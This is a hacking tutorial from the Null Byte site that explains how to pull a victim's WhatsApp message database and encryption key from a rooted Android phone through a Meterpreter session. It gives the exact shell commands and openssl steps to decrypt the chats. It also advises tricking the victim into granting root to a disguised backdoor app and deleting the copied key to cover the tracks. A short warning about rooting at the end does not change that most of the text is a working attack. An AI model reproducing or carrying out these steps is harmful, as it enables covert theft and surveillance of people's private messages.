How to Hack and Decrypt WhatsApp Database (Remotely) [ROOT] « Null Byte :: WonderHowTo

Hello my fellow hackers, it's been a while since mylast post, I can't get the time now-a-days for the posts but can manage to tend to comments.Welcome to my 9th post, this tutorial will explain how to extract and decrypt WhatsApp database from the Victim's android system.Yes the deviceshould be rooted, there is no way around to do this remotely. I have been getting PM's about this and can't simply answer with the wordSPOOF.WhatsApp?Almost everyone knows about it. It is a social android application, that's enables the user to send free messages through the internet within seconds. The developers have made huge success and have high level and complex algorithms to encrypt and store the data, which changes with every update! And hence everyone uses it to send even the most personnel messages because they know it's safe.But is it ?Yes is it actually very safe, however if the Victim is a fool or gullible, he/she is the main vulnerability here. I see many of the 'experienced users' root their android to explore/push to the system's maximum limits. Following their footsteps the 'inexperienced users' also root/brick their android just to accomplish a minor task. They don't even care about the Cons.Anyway, lets execute the hack:Step 1: Exploit and Gain Access to the Android!This the easy part which you all like and are used-to.Followthisguide to gain access to the Rooted android.Once at meterpreter prompt, typecheck_rootto make sure the device is rooted.What Do We Require?To decrypt the database, we need the database itself obviously and a key file in the /data folder, for which we need root to access the location. Wecannotdecrypt the database without the key (Until you want to spend more than 100 of years even with a mainframe!)Step 2: Let's Begin the Extraction Process for Database:In meterpreter type:cd /cd /sdcard/WhatsAppls(Print the current directory)cd Databasesdownload msgstore.db.crypt8(This will take time, maybe a LOT)So, the database has been downloaded, now we need to 'Key of Decryption'(Key file that holds the encryption keys cannot be retrieved any-more unless your phone is rooted)Step 3: Drop into the Shell:As told before, but adding a littlemore detailhere:To decrypt thecrypt8files, we will need the key file. The key file stores two sets ofdecryption keys– the actual encryption key,Kand an initialisation vector calledIV. WhatsApp stores the key file in asecure location.Extracting thekey file, type:shellsu(For Super User access or simply escalating privileges)Here comes the tricky part, if the target is experienced and skilled, he must have installed theSuperSUapplication.The application is responsible for holding the permissions whether which application can have access to root. It even holds all the logs.So, we need to convince the Victim that the application is for boosting (or any other reason) his/her android system but at the same time requires root access to reach it's maximum potential.Hereis anexcellent tutorialbybartthat shows how to disguise a back-door application.(---------------"Victim, opens SuperSU and gives the permission"---------------)There are some cases with inexperienced and unskilled users:They don't have a SuperSU application installed.They have not changed the setting for newly installed apps toPROMPTinstead ofGRANT.So in these cases we are really lucky!Lets' continue:(If the android is not rooted you can navigate, but not copy or print the directory)cd /cd /data/datalscd com.whatsapplscd fileslscp key /sdcard/Download(Means copy the file 'key' to sdcard>Download folder)Terminate the shell:^C (Control+C)The key has been extracted from /data to /sdcard successfully!Step 4: Again to Meterpreter:Lets download the extracted key file to our root directory as we did for the encrypted database, type:cd /cd /sdcard/Downloaddownload keyrm key(Make sure you do that to delete the key file)The Key has been extracted to our root directory successfully!Step 5: DECRYPT THE DATABASE!Now that we have thedatabase and the key, we can easily decrypt it with one of the two methods:#1 With Simple Linux Commands:With the two necessities in the root directory, open a terminal and type:(Copy and Paste the commandsone at a time, don't make a ascriptout of it, or itwill not work)hexdump -e '2/1 "%02x"' key | cut -b 253-316 > aes.txthexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 > iv.txtdd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) > msgstore.gzgzip -cdq msgstore.gz > msgstore.dbIf you even a little bash, then you can easily understand these commands. (Source:here)If the 4th command does not work, follow:hexdump -e '2/1 "%02x"' key | cut -b 253-316(Copy the printed text)hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134(Copy the printed text)openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K(Paste text from 1st command)-iv(Paste text from 2nd command)> msgstore.gzThese commands havebugs/errorsin the result, so I would highly recommend to go for the #2 method.#2 With Simple Windows WhatsApp Viewer Application:The application has an excellent interface, fromGitHub. Download the application from there.Also, copy the key and database to windows, I hope you know how to do that.Open the application (in windows of course).Click FIle, then on 'Decrypt .crypt8'In the dialogue box that appears, provide the Key file and Database.Click OK, you will see that a 'msgstore.decrypted' file has appeared at your desktop.Open it using the same application, go to 'File' then 'Open'.Provide the Decrypted file, leave the Account name blank and for the 'wa.db', you can hack the phone again to extract this .db, to resolve contact names as mentioned in the cropped screenshot below.Click 'OK'And'Boom'all the contacts with all the chats even the latest onesawaits your ClickThe Tutorial Ends:Now that you know how dangerousRootingactually is, please, beware.A cracker can not only perform thissimple hack, he can even extract all the Wi-Fi passwords stored in your android, he can access everything, things that even you don't have access to!! He mayspread to your PConce you connect your android,hack your accounts(saved passwords) andeven frameyou. You just become amere pawnto his further plans.So,think twicebefore rooting and be really careful, while holding a rooted android in your hands.Thank You!F.3.A.R.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Install the WhatsApp Messenger onto Your Nexus 7 and Sync It with Your Phone NumberHow To:Bring Back WhatsApp's Old Emojis on AndroidHow To:Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android:Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Grab All the PasswordsHow To:Set Up WhatsApp on Your Nexus 7 Tablet—Without RootingNews:Bogus WhatsApp Update Will Have You Seeing RedNews:WhatsApp Receives Thousands of Fake 5-Star Reviews After Months of Ranking Below AverageHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerNews:WhatsApp Is Now Sharing Your Data with Facebook, but Opting Out Doesn't Solve the ProblemHow To:Use Your Computer to Send & Receive WhatsApp Messages FasterHow To:Tell if Someone Has Read Your WhatsApp Message—Even if They Have Read Receipts Turned OffHow To:Stop Others from Adding You to WhatsApp Groups You Don't Want to JoinHow To:Personalize Your Messages with Stickers in WhatsAppWhatsApp 101:Control Who You Share Your WhatsApp Status Stories WithWhatsApp 101:How to Use WhatsApp Web to Send & Receive Messages from Any ComputerHow To:Get Faster Access to Your Favorite WhatsApp Contacts on Your iPhoneHow To:The Easiest Way to Get iPhone Emojis on Your Android DeviceHow To:Get WhatsApp's Latest Features Before Anyone ElseHow To:Recover WhatsApp Photos & Videos Deleted from Your Phone's StorageInstagram 101:How to Share Directly to WhatsApp on Android or iPhoneNews:The Fake Review Saga Continues—Gmail & Messenger Latest in Google Play's 5-Star SpamHow To:Easily Remove Old Photos in WhatsApp to Free Up Storage on AndroidHow To:Remove Button Clutter from the WhatsApp Interface on AndroidHack Logs and Linux Commands:What's Going On Here?How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Encrypt And Decrypt Text In PythonHow To:Hack Mac OS X Lion PasswordsNews:Accessing a PostgreSQL Database in your C/C++ ProgramGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:ShouldIChangeMyPassword.comNews:The Root Beer Hack Circle Caper